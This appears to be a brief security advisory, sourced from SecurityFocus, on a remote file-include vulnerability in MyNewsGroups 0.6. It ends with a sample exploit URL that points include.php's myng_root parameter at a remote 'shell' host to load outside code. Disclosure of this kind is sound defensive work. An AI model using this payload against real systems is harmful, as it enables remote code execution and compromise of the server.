source: https://www.securityfocus.com/bid/23646/info

MyNewsGroups is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects MyNewsGroups 0.6; other versions may also be vulnerable. 

http://www.example.com/include.php?myng_root=http://shell